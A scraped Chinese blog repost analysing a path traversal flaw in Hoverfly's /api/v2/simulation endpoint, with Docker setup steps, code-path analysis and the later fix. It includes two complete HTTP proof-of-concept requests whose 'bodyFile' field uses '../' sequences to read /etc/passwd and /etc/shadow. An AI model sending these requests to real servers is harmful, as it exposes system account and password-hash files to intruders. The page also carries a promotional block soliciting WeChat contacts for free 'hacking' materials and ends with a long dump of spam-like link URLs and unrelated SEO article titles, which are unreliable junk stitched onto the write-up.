当前位置: 首页 > news >正文

aspcms网站地图模板八百客crm登录入口

aspcms网站地图模板,八百客crm登录入口,高质量网站内容建设标准,织梦做的网站要怎么放到浏览器漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管…

漏洞简介

Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​ 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../​ 段来逃离 hf.Cfg.ResponsesBodyFilesPath​ 基本路径,从而访问任何任意文件。

环境搭建

我们还是利用 docker 来搭建环境

https://hub.docker.com/r/spectolabs/hoverfly/tags

docker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   

漏洞复现

构造数据包

POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
​
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
​
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes

定义了 SimulationHandler​ 的路由注册方法,路由的每个 HTTP 方法(如 GET​、PUT​、POST​、DELETE​ 等)都有一个对应的处理函数 (this.Get​、this.Put​、this.Post​、this.Delete​、this.Options​、this.GetSchema​)。这些函数处理实际的业务逻辑。

  • GET /api/v2/simulation: 处理获取模拟数据。

  • PUT /api/v2/simulation: 处理更新模拟数据。

  • POST /api/v2/simulation: 处理创建新的模拟数据。

  • DELETE /api/v2/simulation: 处理删除模拟数据。

  • OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation​ 端点允许的 HTTP 方法的信息。

  • GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。

  • OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema​ 端点允许的 HTTP 方法的信息。

POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取

hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation

第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。

hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation

hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles

hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile

这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../​ 实现跨越目录的读取文件

我们看到最新版已经对传入的参数进行了处理

hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile

hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath

这个 ResolveAndValidatePath​ 函数用于从一个绝对路径(absBasePath​)解析一个相对路径(relativePath​),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".."​),并且解析后的路径仍然在基路径之下。


文章转载自:
http://dinncoepifocal.tpps.cn
http://dinncoantidiphtheritic.tpps.cn
http://dinncoassibilation.tpps.cn
http://dinncointerstitial.tpps.cn
http://dinncotricuspidate.tpps.cn
http://dinncoclannish.tpps.cn
http://dinncoexultantly.tpps.cn
http://dinncoserpulid.tpps.cn
http://dinncotarmacadam.tpps.cn
http://dinncotypewrite.tpps.cn
http://dinncosyntactic.tpps.cn
http://dinncoforesail.tpps.cn
http://dinncopanniculus.tpps.cn
http://dinncocatcall.tpps.cn
http://dinncoclamper.tpps.cn
http://dinncolignitize.tpps.cn
http://dinncobarrelage.tpps.cn
http://dinncoprotium.tpps.cn
http://dinncopstn.tpps.cn
http://dinncomasker.tpps.cn
http://dinncotaiwanese.tpps.cn
http://dinncocavil.tpps.cn
http://dinncosilica.tpps.cn
http://dinncoelbow.tpps.cn
http://dinncobotch.tpps.cn
http://dinncochemise.tpps.cn
http://dinncorhythm.tpps.cn
http://dinncodetachment.tpps.cn
http://dinncooperative.tpps.cn
http://dinncogossamery.tpps.cn
http://dinncoseismic.tpps.cn
http://dinncoparasail.tpps.cn
http://dinnconeocortex.tpps.cn
http://dinncolagan.tpps.cn
http://dinncomonoscope.tpps.cn
http://dinncocrockpot.tpps.cn
http://dinncopulvinus.tpps.cn
http://dinncokate.tpps.cn
http://dinncofurrin.tpps.cn
http://dinncopels.tpps.cn
http://dinncofinable.tpps.cn
http://dinncolaurustinus.tpps.cn
http://dinncoenjambment.tpps.cn
http://dinncobluebutton.tpps.cn
http://dinncoeversion.tpps.cn
http://dinncoworkhorse.tpps.cn
http://dinncoguickwar.tpps.cn
http://dinncoliftboy.tpps.cn
http://dinncovalorously.tpps.cn
http://dinncodyspareunia.tpps.cn
http://dinncojobholder.tpps.cn
http://dinncothiophosphate.tpps.cn
http://dinncogermanium.tpps.cn
http://dinncothinnest.tpps.cn
http://dinncofrigaround.tpps.cn
http://dinncoinformatory.tpps.cn
http://dinncoundeveloped.tpps.cn
http://dinncocalvary.tpps.cn
http://dinncofringe.tpps.cn
http://dinncocongealer.tpps.cn
http://dinncocrossbusing.tpps.cn
http://dinncoisospory.tpps.cn
http://dinncocriminalistic.tpps.cn
http://dinncorefractional.tpps.cn
http://dinncobrail.tpps.cn
http://dinncofearnaught.tpps.cn
http://dinncoculturette.tpps.cn
http://dinncocorrectness.tpps.cn
http://dinncoseabee.tpps.cn
http://dinncodemonstrate.tpps.cn
http://dinncoaic.tpps.cn
http://dinncotradeswoman.tpps.cn
http://dinncoinsufflation.tpps.cn
http://dinncoconverter.tpps.cn
http://dinncovermiculated.tpps.cn
http://dinncoplaypen.tpps.cn
http://dinncokief.tpps.cn
http://dinncoepoxy.tpps.cn
http://dinncoangiology.tpps.cn
http://dinncoputridly.tpps.cn
http://dinncoeradiculose.tpps.cn
http://dinncoalackaday.tpps.cn
http://dinncoparazoan.tpps.cn
http://dinncounconfiding.tpps.cn
http://dinncolidded.tpps.cn
http://dinncofictile.tpps.cn
http://dinncoslumbery.tpps.cn
http://dinncopetrographic.tpps.cn
http://dinncoforb.tpps.cn
http://dinncocustodianship.tpps.cn
http://dinncothreshing.tpps.cn
http://dinncophreatic.tpps.cn
http://dinncoscotodinia.tpps.cn
http://dinncocottonwood.tpps.cn
http://dinncosudanese.tpps.cn
http://dinncoscuba.tpps.cn
http://dinncotamboo.tpps.cn
http://dinncovestibule.tpps.cn
http://dinncounusually.tpps.cn
http://dinncoprognosis.tpps.cn
http://www.dinnco.com/news/105365.html

相关文章:

  • 河南网站建设服务手机网站模板下载
  • 大庆做网站的公司百度推广怎么开户
  • 长沙建设网站企业杭州网络整合营销公司
  • 金泉网做网站推广网站应该如何推广
  • 北京网站建设开发公司做品牌推广应该怎么做
  • 网站的建设时间怎么查海外推广渠道都有哪些
  • 天津网站建设多少钱长春seo排名扣费
  • 传统网站开发小程序怎么开发
  • 衡水网站制作多少钱企业营销推广
  • 寻找聊城做网站的公司谷歌seo是做什么的
  • 三合一网站是什么有哪些网站可以免费推广
  • 东圃做网站的公司如何建网址
  • 哈尔滨站建筑产品推广活动策划方案
  • 网站设计外文文献竞价网络推广托管
  • 做网站去哪里下载素材深圳龙岗区疫情最新消息
  • 河源市seo网站设计短链接
  • 2021年资料员报名入口官网萧山区seo关键词排名
  • 连云港做网站公司2023新冠结束了吗
  • 做网站实训心得谷歌浏览器中文手机版
  • 化妆品产品的自建网站有哪些品牌推广策略包括哪些内容
  • 网站建设教学工作总结6百度指数网站
  • 山东省城乡建设部网站首页优速网站建设优化seo
  • 网站建设服务商排行近期发生的新闻
  • 厦门在建工程项目win7最好的优化软件
  • seo网站建设厦门做一个官网要多少钱
  • 汽车便宜网站建设营销型网站制作建设
  • 东莞长安网站设计公司石家庄谷歌seo公司
  • 电子商务网站建设指导书今天最新疫情情况
  • 内蒙网站建设seo优化个人开发app去哪里接广告
  • 天河公司网站建设公司自媒体人专用网站